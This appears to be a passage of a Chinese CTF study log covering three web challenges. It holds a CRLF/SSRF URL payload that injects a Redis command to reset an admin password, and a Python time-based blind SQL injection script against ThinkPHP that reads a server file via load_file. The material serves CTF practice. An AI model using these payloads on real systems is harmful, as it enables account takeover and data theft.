# 启动 CherryPy 服务器,传入 web7 类的实例作为 Web 应用程序
cherrypy.quickstart(web7(), '/')
|
显然就是要登入admin才能得到flag。搜索一下是打Urllib2头部注入(CVE-2016-5699),直接利用SSRF来注入redis修改admin的密码。(redis默认端口是6379)
1
2
3
4
5
6
|
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379
//解码如下
http://127.0.0.1
set admin 123456
:6379
|
我们将payload提交,发完后立马登录,因为靶机写了脚本定时修改admin密码
[SWPUCTF 2016]Web7 | 北歌
[CVE-2016-5699] Python HTTP header injection in urllib/urllib2 | CN-SEC 中文网
4.27
Thinkphp框架 < 5.0.16 sql注入漏洞
摆就完事了2.0zhe
这题开始做有点问题,因为这题竟然是考Thinkphp框架 < 5.0.16 sql注入漏洞,但是本题却刚好是5.0.16版本
漏洞的来龙去脉看下文,就是利用exp进行sql注入
2021 NCTF-web 摆就完事了(2)复现 - king_kb - 博客园
但是本地是5.0.16,修复了这个漏洞,即是对exp进行过滤
【漏洞分析】ThinkPHP 5.0版本 SQL注入漏洞分析 – 绿盟科技技术博客
但是此题删去了这个漏洞,所以仍然可以打这个点
第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup - 渗透测试中心 - 博客园
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
/*
* @Author: m1saka@x1ct34m
* @blog: www.m1saka.love
*/
namespace app\index\controller;
function waf($str){
if(preg_match("/system| |\*|union|insert|and|into|outfile|dumpfile|infile|floor|set|updatexml|extractvalue|length|exists|user|regexp|;/i", $str)){
return true;
}
}
class M1sakaM1yuu
{
public function index()
{
$username = request()->get('username/a');
$str = implode(',',$username);
if (waf($str)) {
return '<img src="http://www.m1saka.love/wp-content/uploads/2021/11/hutao.jpg" alt="hutao" />';
}
if($username){
db('m1saka')->insert(['username' => $username]);
return '啊对对对';
}
else {
return '说什么我就开摆';//
}
}
}
|
这里username传入exp进行sql注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
import time
flag = ''
for i in range(1,100):
for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.':
#开始计时
before_time = time.time()
#payload = 'substr((select(database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j)
payload = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j)
url = 'http://node5.anna.nssctf.cn:22947/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload)
#print(url)
r = requests.get(url)
#print(r.text)
#返回时间
after_time = time.time()
offset = after_time - before_time
if offset > 2.8:
flag += j
print(flag)
break
|
4.28
[SCTF 2018]BabySyc - Simple PHP Web
解法一,扫描出phpinfo直接搜索flag找到了。
解法二:打php扩展加密
看我如何玩转PHP代码加密与解密-先知社区
SCTF2018 BabySyc - Simple PHP Web Writeup - l3m0n - 博客园
解法三:打session upload
SCTF 2018 Writeup — De1ta-先知社区
不会逆向,复现都复不出